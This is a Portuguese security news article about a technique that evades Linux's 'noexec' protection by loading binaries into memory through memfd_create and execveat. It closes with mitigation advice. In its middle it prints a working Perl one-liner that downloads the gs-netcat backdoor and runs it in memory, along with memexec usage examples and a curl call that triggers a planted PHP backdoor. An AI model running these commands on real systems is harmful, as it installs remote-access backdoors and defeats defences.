Sistemas Linux vulneráveis ao bypass ‘noexec’ RCE é realidade

Pesquisadores descobriram uma nova técnica que contorna o sinalizador ‘noexec’ em sistemas Linux, permitindo a execução de código malicioso sem privilégios de root.

Pesquisadores de segurança descobriram uma técnica inovadora que permite que invasores contornem o sinalizador ‘noexec’ em sistemas Linux, uma medida de segurança projetada para impedir a execução de arquivos binários em determinadas partições. Com esse novo método, a execução de código malicioso em partições configuradas para bloquear esse tipo de ação agora é possível, abrindo uma porta perigosa para ataques cibernéticos em larga escala.

O que é o Sinalizador ‘noexec’?

O sinalizador ‘noexec’ é amplamente utilizado em sistemas Linux como uma camada essencial de proteção. Ele impede que arquivos executáveis sejam rodados em partições específicas, como /tmp ou /dev/shm, frequentemente utilizadas por invasores para carregar malware. Essa medida visa criar uma barreira adicional contra a execução arbitrária de código, dificultando a capacidade de invasores comprometerem o sistema. No entanto, o novo método revela uma forma de ultrapassar essa defesa.

Como Funciona o Bypass?

O método recentemente descoberto se aproveita de uma combinação engenhosa de scripts em Perl, Bash e PHP para contornar as proteções impostas pelo ‘noexec’. Ele usa chamadas de sistema como memfd_create e execveat para injetar código diretamente na memória, evitando a necessidade de gravar arquivos executáveis em disco, o que seria bloqueado pelas partições com ‘noexec’. Essencialmente, o código é carregado diretamente na memória e executado sem que o sistema perceba.

O que torna essa técnica particularmente alarmante é o fato de não exigir privilégios de administrador (root). Isso significa que usuários comuns, ou mesmo atacantes sem acesso elevado, podem explorar a vulnerabilidade, tornando uma gama muito maior de sistemas suscetíveis ao ataque.

Impacto Prático e Exemplos

Os pesquisadores demonstraram a eficácia dessa técnica em cenários do mundo real. Utilizando scripts simples, eles conseguiram executar comandos comuns, como id, sem privilégios de root, mesmo em partições onde ‘noexec’ estava habilitado. Abaixo está um exemplo de como o método pode ser usado em Perl e Bash:

Em Perl:

memexec-perl.sh
cat /usr/bin/id | memexec -u

Em Bash:

memexec-bash.sh
cat /usr/bin/id | memexec

Esses exemplos mostram que, mesmo sem permissões de root, é possível executar binários armazenados na internet, contornando completamente as restrições impostas pelo ‘noexec’. Além disso, os pesquisadores mostraram como o método pode ser usado para baixar e executar cargas maliciosas (payloads) de servidores remotos com comandos simples.

Um exemplo de um comando perigoso, que baixa e executa um payload diretamente da internet, poderia ser o seguinte:

curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-x86_64 | GS_ARGS="-ilDq -s ChangeMe" perl '-efor(319,279){($f=syscall$_,$",1)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV' -- "$@"

Esse comando permite que o invasor injete um backdoor diretamente na memória do sistema, mesmo quando as partições estão protegidas com o sinalizador ‘noexec’, evitando o carregamento de binários no disco.

Implicações para a Segurança de Sistemas Linux

A vulnerabilidade descoberta levanta sérias preocupações sobre a eficácia das proteções tradicionais, como o ‘noexec’, contra ataques sofisticados. Como o método não requer privilégios elevados, ele amplia o escopo de possíveis atacantes, tornando qualquer sistema Linux que utilize essas medidas de proteção um alvo potencial.

Além disso, essa técnica também afeta ambientes que utilizam scripts em PHP, que são comumente executados em servidores web. Ao alavancar scripts PHP semelhantes, é possível realizar a execução remota de código, representando uma séria ameaça para sistemas web que confiam no ‘noexec’ para proteger seus dados.

Por exemplo, um invasor pode carregar o script memexec.php e um backdoor (egg) no servidor alvo. Ao chamar o seguinte comando:

curl -SsfL https://target/memexec.php

O backdoor seria executado, comprometendo o sistema sem levantar alertas.

Recomendações para Mitigação

Os pesquisadores continuam analisando a profundidade dessa vulnerabilidade e seu impacto em diversas distribuições Linux. Para mitigar os riscos, eles recomendam a implementação de medidas adicionais de segurança, como:

  • Monitoramento rigoroso de chamadas de sistema, particularmente memfd_create e execveat, que são cruciais para a execução desse ataque.
  • Restrições de acesso à memória e ajustes no controle de permissões de execução em partições sensíveis.
  • Implementação de tecnologias complementares de proteção, como isolamento de processos, que podem reduzir o impacto da execução de código malicioso mesmo que o bypass seja explorado.

Adicionalmente, administradores de sistemas devem manter seus ambientes Linux sempre atualizados com os patches mais recentes, além de monitorar ativamente qualquer atividade suspeita que envolva downloads ou execuções de código em partições ‘noexec’.